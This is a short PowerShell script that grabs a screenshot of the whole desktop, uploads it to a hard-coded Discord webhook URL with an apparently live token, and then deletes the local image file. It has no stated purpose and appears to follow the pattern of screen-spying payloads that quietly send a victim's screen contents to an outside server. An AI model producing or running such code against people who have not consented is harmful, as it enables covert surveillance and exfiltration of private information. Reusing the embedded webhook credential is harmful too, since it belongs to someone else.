# --- Configuration ---
# Replace with your actual webhook URL (e.g., a Discord webhook URL)
$webhookUrl = "https://discord.com/api/webhooks/1439316986130727013/eTFRdumZ5ZHUKtuK0tDlAoF3WbdzgIb6RqlxACn8633mPFnmAKwA3yEhNiIbE4wDnyO6"


# --- Main Script ---
# --- Main Script ---
# Initialize variables to null to ensure they exist for the 'finally' block
$tempPath = $null
$bitmap = $null
$graphics = $null
$httpClient = $null
$formData = $null

try {
    # Add necessary .NET assemblies for screen capture
    Add-Type -AssemblyName System.Windows.Forms
    Add-Type -AssemblyName System.Drawing
    # Add assembly for HttpClient
    Add-Type -AssemblyName System.Net.Http

    # Get the primary screen's dimensions
    $screen = [System.Windows.Forms.SystemInformation]::VirtualScreen
    $width = $screen.Width
    $height = $screen.Height
    $left = $screen.Left
    $top = $screen.Top

    # Create bitmap and graphics objects
    $bitmap = New-Object System.Drawing.Bitmap($width, $height)
    $graphics = [System.Drawing.Graphics]::FromImage($bitmap)

    # Copy the screen content to the graphics object
    $graphics.CopyFromScreen($left, $top, 0, 0, $bitmap.Size)

    # Save the screenshot to a temporary file
    $tempPath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "screenshot-$(Get-Date -Format 'yyyy-MM-dd_HH-mm-ss').png")
    $bitmap.Save($tempPath, [System.Drawing.Imaging.ImageFormat]::Png)

    Write-Host "Screenshot saved to $tempPath"

    # --- Send the screenshot using .NET HttpClient for compatibility ---
    Write-Host "Preparing to send screenshot to webhook..."

    # Create the multipart form data content
    $formData = New-Object System.Net.Http.MultipartFormDataContent

    # Read the file content as a byte array
    $fileBytes = [System.IO.File]::ReadAllBytes($tempPath)

    # *** THE FIX IS HERE: ***
    # Use the unary comma operator (,) to pass the byte array as a SINGLE object.
    # Without the comma, PowerShell unrolls the array and passes each byte as a separate argument.
    $fileContent = New-Object System.Net.Http.ByteArrayContent(,$fileBytes)

    # Add the file content to the form, specifying the part name ('file1') and the filename
    $formData.Add($fileContent, "file1", "screenshot.png")
    
    # Create the HttpClient and post the data
    $httpClient = New-Object System.Net.Http.HttpClient
    $response = $httpClient.PostAsync($webhookUrl, $formData).Result

    # Check if the request was successful
    if ($response.IsSuccessStatusCode) {
        Write-Host "Screenshot sent successfully to the webhook."
    } else {
        $responseBody = $response.Content.ReadAsStringAsync().Result
        Write-Error "Failed to send screenshot. Server returned status '$($response.StatusCode)' with response: $responseBody"
    }

} catch {
    # Provide more detailed error information
    Write-Error "An unhandled error occurred: $($_.Exception.Message)"
} finally {
    # Clean up .NET resources to free memory
    if ($graphics -ne $null) { $graphics.Dispose() }
    if ($bitmap -ne $null) { $bitmap.Dispose() }
    if ($formData -ne $null) { $formData.Dispose() }
    if ($httpClient -ne $null) { $httpClient.Dispose() }

    # Remove the temporary screenshot file
    if ($tempPath -and (Test-Path $tempPath)) {
        Remove-Item $tempPath -Force
        Write-Host "Temporary file $tempPath removed."
    }
}